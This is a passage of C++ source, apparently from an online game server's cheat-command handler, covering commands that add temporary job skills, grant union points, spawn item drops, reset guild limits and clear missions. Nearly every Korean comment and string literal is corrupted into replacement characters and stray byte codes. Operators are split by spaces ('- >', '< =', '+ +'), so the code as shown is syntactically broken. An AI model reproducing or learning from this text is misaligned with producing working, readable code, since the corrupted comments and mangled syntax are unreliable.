pPlayerActor - > AddTempSkill ( 553 ) ; // <20> <> <EFBFBD> Ͻ<EFBFBD> Ʈ<EFBFBD> <C6AE> <20> Ͽ<EFBFBD>
}
break ;
// <20> <> <EFBFBD> 츶<EFBFBD> <ECB8B6> <EFBFBD> <EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
case 29 :
{
pPlayerActor - > AddTempSkill ( 1301 ) ; // ũ<> <C5A9> Ƽ <EFBFBD> <C6BC> <20> 극<EFBFBD> <EAB7B9> ũ
pPlayerActor - > AddTempSkill ( 1302 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 1303 ) ; // ġ<> <C4A1> <20> <> <EFBFBD> <EFBFBD> Ʈ
}
break ;
// <20> <> <EFBFBD> 츶<EFBFBD> <ECB8B6> <EFBFBD> <EFBFBD> -> <20> <> ƿ<EFBFBD> <C6BF> <EFBFBD> <EFBFBD>
case 30 :
{
pPlayerActor - > AddTempSkill ( 1351 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> 긮<EFBFBD> <EAB8AE>
pPlayerActor - > AddTempSkill ( 1352 ) ; // <20> ͽ<EFBFBD> <CDBD> ټ<EFBFBD> <20> ַο <D6B7> ex
pPlayerActor - > AddTempSkill ( 1353 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ַο <D6B7>
}
break ;
// <20> <> ũ<EFBFBD> ι <EFBFBD> -> <20> <> <EFBFBD> 佺Ʈ
case 31 :
{
pPlayerActor - > AddTempSkill ( 1501 ) ; // <20> ̺<EFBFBD> <CCBA> ̵<EFBFBD>
pPlayerActor - > AddTempSkill ( 1502 ) ; // ű <20> <> <20> <> ex
pPlayerActor - > AddTempSkill ( 1503 ) ; // <20> 㸮<EFBFBD> <E3B8AE> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
}
break ;
// <20> <> ũ<EFBFBD> ι <EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŀ
case 32 :
{
pPlayerActor - > AddTempSkill ( 1551 ) ; // <20> <> Ÿ<EFBFBD> <C5B8>
pPlayerActor - > AddTempSkill ( 1552 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ̷<EFBFBD> ű ex
pPlayerActor - > AddTempSkill ( 1553 ) ; // <20> <> <EFBFBD> <EFBFBD> ¡ <20> <> <EFBFBD> <EFBFBD>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ż<EFBFBD> ε<EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ƴ<EFBFBD>
case 35 :
{
pPlayerActor - > AddTempSkill ( 2301 ) ; // <20> ͽ<EFBFBD> <CDBD> ÷<EFBFBD> <C3B7> <EFBFBD>
pPlayerActor - > AddTempSkill ( 2302 ) ; // <20> <> <EFBFBD> ̾ ex
pPlayerActor - > AddTempSkill ( 2303 ) ; // <20> Ѹ<EFBFBD> <20> <> <EFBFBD> <EFBFBD>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ż<EFBFBD> ε<EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE>
case 36 :
{
pPlayerActor - > AddTempSkill ( 2351 ) ; // <20> <> <EFBFBD> ̽<EFBFBD> <20> 踮<EFBFBD> <E8B8AE>
pPlayerActor - > AddTempSkill ( 2352 ) ; // <20> <> <EFBFBD> ̽<EFBFBD> <20> ҵ<EFBFBD> ex
pPlayerActor - > AddTempSkill ( 2353 ) ; // <20> <> <EFBFBD> ̽<EFBFBD> Ŭ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> }
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> -> <20> <> <EFBFBD> ż<EFBFBD>
case 37 :
{
pPlayerActor - > AddTempSkill ( 2501 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 2502 ) ; // <20> <> <EFBFBD> Ͼ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 2503 ) ; // <20> <> <EFBFBD> <EFBFBD> Ʋ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ƽ
case 38 :
{
pPlayerActor - > AddTempSkill ( 2551 ) ; // <20> <> ƿ <20> <> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 2552 ) ; // <20> <EFBFBD> <D7B6> <EFBFBD> Ƽ <EFBFBD> <C6BC> ex
pPlayerActor - > AddTempSkill ( 2553 ) ; // <20> <> <EFBFBD> <EFBFBD> ġ <20> <EFBFBD> <D7B6> <EFBFBD> Ƽ
}
break ;
// <20> ȶ<EFBFBD> <C8B6> <EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
case 41 :
{
pPlayerActor - > AddTempSkill ( 3301 ) ; // <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 3302 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 3303 ) ; // <20> <> <EFBFBD> <EFBFBD> Ƽ <EFBFBD> <C6BC> ũ<> <C5A9> <EFBFBD> <EFBFBD>
}
break ;
// <20> ȶ<EFBFBD> <C8B6> <EFBFBD> -> ũ<> 缼<EFBFBD> ̴<EFBFBD>
case 42 :
{
pPlayerActor - > AddTempSkill ( 3351 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Ŀ<EFBFBD>
pPlayerActor - > AddTempSkill ( 3352 ) ; // Ȧ<> <C8A6> ũ<> ν <EFBFBD> ex
pPlayerActor - > AddTempSkill ( 3353 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> ظ<EFBFBD>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ -> <20> <> <EFBFBD> <EFBFBD> Ʈ
case 43 :
{
pPlayerActor - > AddTempSkill ( 3501 ) ; // Ȧ<> <C8A6> <20> <> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 3502 ) ; // <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> ex
pPlayerActor - > AddTempSkill ( 3503 ) ; // <20> <> ũ <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
case 44 :
{
pPlayerActor - > AddTempSkill ( 3551 ) ; // <20> <> ũ Ʈ<> <C6AE> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
pPlayerActor - > AddTempSkill ( 3552 ) ; // <20> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> <20> <> Ʈ ex
pPlayerActor - > AddTempSkill ( 3553 ) ; // <20> <> <EFBFBD> <EFBFBD> ũ<EFBFBD> <C5A9> <EFBFBD> ̼<EFBFBD>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ͼ<EFBFBD> -> <20> <> <EFBFBD> ý<EFBFBD> Ÿ
case 47 :
{
pPlayerActor - > AddTempSkill ( 4301 ) ; // <20> <> <EFBFBD> ÷<EFBFBD> <C3B7> <EFBFBD>
pPlayerActor - > AddTempSkill ( 4302 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> EX
pPlayerActor - > AddTempSkill ( 4303 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <>
}
break ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ͼ<EFBFBD> -> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
case 48 :
{
pPlayerActor - > AddTempSkill ( 4351 ) ; // ü<> μҿ<CEBC> Ÿ<> <C5B8>
pPlayerActor - > AddTempSkill ( 4352 ) ; // <20> <> ī<EFBFBD> <C4AB> EX
pPlayerActor - > AddTempSkill ( 4353 ) ; // <20> <> <20> <> ī <20> չ<EFBFBD>
}
break ;
// <20> <> <EFBFBD> ɹ̽<C9B9> Ʈ -> <20> Ʈ
case 50 :
{
pPlayerActor - > AddTempSkill ( 4501 ) ; // C2H5OH
pPlayerActor - > AddTempSkill ( 4502 ) ; // <20> <> <EFBFBD> <EFBFBD> <20> <> ġ EX
pPlayerActor - > AddTempSkill ( 4503 ) ; // <20> <> <EFBFBD> ̽<EFBFBD> <20> <>
}
break ;
// <20> <> <EFBFBD> ɹ̽<C9B9> Ʈ -> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
case 51 :
{
pPlayerActor - > AddTempSkill ( 4551 ) ; // <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ̷<EFBFBD> <CCB7> <EFBFBD>
pPlayerActor - > AddTempSkill ( 4552 ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> EX
pPlayerActor - > AddTempSkill ( 4553 ) ; // <20> <> <20> <> <EFBFBD> <EFBFBD>
}
break ;
}
}
// <20> <> <EFBFBD> <EFBFBD> <20> ӽ<EFBFBD> <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> <20> ߰<EFBFBD> <DFB0> ϰ<EFBFBD> <20> ӽ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϵ<EFBFBD> <CFB5> <EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŭ<> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ųƮ<C5B3> <C6AE> <EFBFBD> <EFBFBD>
// <20> ʱ<EFBFBD> ȭ <20> ȴ<EFBFBD> .
pPlayerActor - > SendTempJobChange ( iJobID ) ;
}
}
# endif
}
break ;
case CLEAR_SECOND_JOB_SKILL :
{
# ifdef _VILLAGESERVER
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> Ӽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 2<> <32> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ų <20> ӽ÷<D3BD> <20> <> <EFBFBD> <EFBFBD> ġƮŰ.\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
# else
CDnPlayerActor * pPlayerActor = m_pSession - > GetPlayerActor ( ) ;
if ( pPlayerActor )
{
// Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ε<EFBFBD> <20> <> Ŷ <20> <> <EFBFBD> <EFBFBD> .
pPlayerActor - > RemoveAllTempSkill ( ) ;
pPlayerActor - > EndAddTempSkillAndSendRestoreTempJobChange ( ) ;
}
# endif
}
break ;
case MAKE_UNION_POINT :
{
if ( tokens . size ( ) < = 2 )
return false ;
int nUnionType = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
BYTE cPointType = DBDNWorldDef : : EtcPointCode : : None ;
switch ( nUnionType )
{
case NpcReputation : : UnionType : : Commercial :
cPointType = DBDNWorldDef : : EtcPointCode : : Union_Commercial ;
break ;
case NpcReputation : : UnionType : : Liberty :
cPointType = DBDNWorldDef : : EtcPointCode : : Union_Liberty ;
break ;
case NpcReputation : : UnionType : : Royal :
cPointType = DBDNWorldDef : : EtcPointCode : : Union_Royal ;
break ;
default :
return false ;
}
m_pSession - > AddEtcPoint ( cPointType , _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ;
}
break ;
case CMDEQUIPTRIGGER :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) < = 2 )
return false ;
api_trigger_InvenToEquip ( m_pSession - > GetGameRoom ( ) , m_pSession - > GetSessionID ( ) , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) ? true : false ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case CMDUNRIDE :
{
# if defined( _GAMESERVER )
api_trigger_UnRideVehicle ( m_pSession - > GetGameRoom ( ) , m_pSession - > GetSessionID ( ) ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case ITEMEXPIREDATE :
{
if ( tokens . size ( ) < = 1 ) return false ;
INT64 biSerial = _wtoi64 ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetItem ( ) - > ItemExpireByCheat ( biSerial ) ;
}
break ;
case UPDATE_PET_EXP :
{
if ( tokens . size ( ) < = 1 ) return false ;
int nExp = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetItem ( ) - > UpdatePetExp ( nExp ) ;
}
break ;
case SET_PET_COLOR :
{
if ( tokens . size ( ) < = 2 ) return false ;
int nType = _wtoi ( tokens [ 1 ] . c_str ( ) ) ; // <20> <> <20> ÷<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
int nColor = _wtoi ( tokens [ 2 ] . c_str ( ) ) ; // <20> ÷<EFBFBD> <C3B7> <EFBFBD>
if ( 1 = = nType )
m_pSession - > GetItem ( ) - > ChangePetBodyColor ( & nColor ) ; //body color
else
m_pSession - > GetItem ( ) - > ChangePetNoseColor ( & nColor ) ; //tatoo color
}
break ;
case PERIODRESET :
{
if ( tokens . size ( ) < = 1 ) return false ;
int nType = _wtoi ( tokens [ 1 ] . c_str ( ) ) ; // type
// <20> <> <EFBFBD> <EFBFBD> Ƚ<> <C8BD> 0 <20> <> <EFBFBD> <EFBFBD>
m_pSession - > ModCommonVariableData ( ( CommonVariable : : Type : : eCode ) nType , 0 ) ;
}
break ;
case MAKEGITEM :
{
# ifdef _GAMESERVER
if ( tokens . size ( ) < 2 ) return false ;
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pGameRoom ) return false ;
if ( ! pGameRoom - > GetGameTask ( ) ) return false ;
DNVector ( CDnItem : : DropItemStruct ) VecList ;
CDnDropItem : : CalcDropItemList ( pGameRoom , pGameRoom - > GetGameTask ( ) - > GetStageDifficulty ( ) , _wtoi ( tokens [ 1 ] . c_str ( ) ) , VecList ) ;
CDnItemTask * pTask = ( CDnItemTask * ) pGameRoom - > GetTaskMng ( ) - > GetTask ( " ItemTask " ) ;
if ( ! pTask ) return false ;
for ( DWORD j = 0 ; j < VecList . size ( ) ; j + + ) {
# if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD)
pTask - > RequestDropItem ( VecList [ j ] . dwUniqueID , * ( m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ) , VecList [ j ] . nItemID , VecList [ j ] . nSeed , 1 , ( short ) ( _rand ( pGameRoom ) % 360 ) , - 1 , VecList [ j ] . nEnchantID ) ;
# else // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD)
pTask - > RequestDropItem ( VecList [ j ] . dwUniqueID , * ( m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ) , VecList [ j ] . nItemID , VecList [ j ] . nSeed , 1 , ( short ) ( _rand ( pGameRoom ) % 360 ) ) ;
# endif // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD)
}
# endif
}
break ;
case FARM_GUILDWAR_FINAL :
{
# if defined( _GAMESERVER )
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsFarmRoom ( ) )
{
static_cast < CDNFarmGameRoom * > ( pGameRoom ) - > OnStartGuildWarFinal ( ) ;
}
# endif // #if defined( _GAMESERVER )
break ;
}
case DESTROYPVP :
{
if ( tokens . size ( ) < 2 ) return false ;
# if defined(_VILLAGESERVER)
g_pMasterConnection - > SendForceDestroyPvP ( m_pSession - > GetAccountDBID ( ) , _wtoi ( tokens [ 1 ] . c_str ( ) ) , tokens . size ( ) > 2 ? tokens [ 2 ] . c_str ( ) : NULL ) ;
# endif //#if defined(_VILLAGESERVER)
break ;
}
case CLEAR_MISSION :
{
# if defined(_VILLAGESERVER)
m_pSession - > GetDBConnection ( ) - > QueryDelAllMissionsForCheat ( m_pSession ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case CLEAR_PRESENT :
{
# if defined(_VILLAGESERVER)
m_pSession - > GetDBConnection ( ) - > QueryCheatGiftClear ( m_pSession ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case SHOP_GETLIST_REPURCHASE :
{
# if defined( _VILLAGESERVER )
m_pSession - > OnRecvTradeMessage ( eTrade : : CS_SHOP_GETLIST_REPURCHASE , NULL , 0 ) ;
# endif // #if defined( _VILLAGESERVER )
break ;
}
case SHOP_REPURCHASE :
{
# if defined( _VILLAGESERVER )
if ( tokens . size ( ) < 2 )
return false ;
CSShopRepurchase TxPacket ;
memset ( & TxPacket , 0 , sizeof ( TxPacket ) ) ;
TxPacket . iRepurchaseID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > OnRecvTradeMessage ( eTrade : : CS_SHOP_REPURCHASE , reinterpret_cast < char * > ( & TxPacket ) , sizeof ( TxPacket ) ) ;
# endif // #if defined( _VILLAGESERVER )
break ;
}
# if defined(PRE_ADD_QUICK_PVP)
case QUICKPVP :
{
if ( tokens . size ( ) < 2 )
return false ;
# if defined(_VILLAGESERVER)
CDNUserSession * pUser = g_pUserSessionManager - > FindUserSessionByName ( tokens [ 1 ] . c_str ( ) ) ;
if ( pUser )
{
g_pMasterConnection - > SendMakeQuickPvPRoom ( m_pSession - > GetAccountDBID ( ) , pUser - > GetAccountDBID ( ) ) ;
}
# endif // #if defined(_VILLAGESERVER)
}
break ;
# endif //#if defined(PRE_ADD_QUICK_PVP)
case PVPTIMEOVER :
{
# if defined( _GAMESERVER ) && !defined( _FINAL_BUILD )
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( pGameRoom - > bIsPvPRoom ( ) = = false )
break ;
CDNPvPGameRoom * pPvPGameRoom = static_cast < CDNPvPGameRoom * > ( pGameRoom ) ;
if ( pPvPGameRoom - > GetPvPGameMode ( ) )
pPvPGameRoom - > GetPvPGameMode ( ) - > SetForceTimeOver ( ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case RESETNESTCOUNT :
{
m_pSession - > InitNestClear ( true ) ;
}
break ;
case DEL_GUILDEFFECT :
{
if ( tokens . size ( ) < 2 )
return false ;
int nItemID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
TGuildRewardItem * RewardItemInfo ;
RewardItemInfo = pGuild - > GetGuildRewardItem ( ) ;
for ( int i = GUILDREWARDEFFECT_TYPE_EXTRAEXP ; i < GUILDREWARDEFFECT_TYPE_CNT ; i + + )
{
if ( RewardItemInfo [ i ] . nItemID = = nItemID )
{
m_pSession - > GetDBConnection ( ) - > QueryCheatDelGuildEffectItem ( m_pSession - > GetDBThreadID ( ) , m_pSession - > GetWorldSetID ( ) , m_pSession - > GetAccountDBID ( ) , m_pSession - > GetCharacterDBID ( ) , GuildUID . nDBID , nItemID ) ;
m_pSession - > GetDBConnection ( ) - > QueryGetGuildRewardItem ( m_pSession - > GetDBThreadID ( ) , GuildUID . nWorldID , 0 , GuildUID . nDBID ) ;
return true ;
}
}
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʴ<EFBFBD> ȿ<> <C8BF> <EFBFBD> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
case DEL_GUILDMARK :
{
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
m_pSession - > GetDBConnection ( ) - > QueryChangeGuildMark ( m_pSession - > GetDBThreadID ( ) , m_pSession - > GetAccountDBID ( ) , m_pSession - > GetCharacterDBID ( ) , m_pSession - > GetGuildSelfView ( ) . GuildUID . nDBID ,
m_pSession - > GetWorldSetID ( ) , 0 , 0 , 0 ) ;
}
break ;
case DENY_GUILDRECRUIT :
{
# if defined(_VILLAGESERVER)
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
m_pSession - > GetDBConnection ( ) - > QueryCheatDelGuildRecruit ( m_pSession , GuildUID . nDBID , 1 ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case CANCEL_GUILDAPPLY :
{
# if defined(_VILLAGESERVER)
m_pSession - > GetDBConnection ( ) - > QueryCheatDelGuildRecruit ( m_pSession , 0 , 2 ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case RESET_GUILDPOINTLIMIT :
{
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
m_pSession - > GetDBConnection ( ) - > QueryModGuildCheat ( m_pSession - > GetDBThreadID ( ) , pGuild - > GetUID ( ) . nWorldID , pGuild - > GetUID ( ) . nDBID , 2 , 0 , 0 ) ;
}
break ;
# if defined(PRE_ADD_PVP_VILLAGE_ACCESS)
case PVP_VILLAGE_JOIN :
{
}
break ;
case PVP_VILLAGE_LADDER :
{
}
break ;
# endif
# if defined(PRE_ADD_EXPORT_DPS_INFORMATION)
case ENABLE_DPS_REPORT :
{
# if defined(_GAMESERVER)
if ( tokens . size ( ) < 2 )
return false ;
bool bEnable = ( _wtoi ( tokens [ 1 ] . c_str ( ) ) ! = 0 ) ? true : false ;
if ( CDnDPSReporter : : IsActive ( ) )
{
if ( bEnable )
{
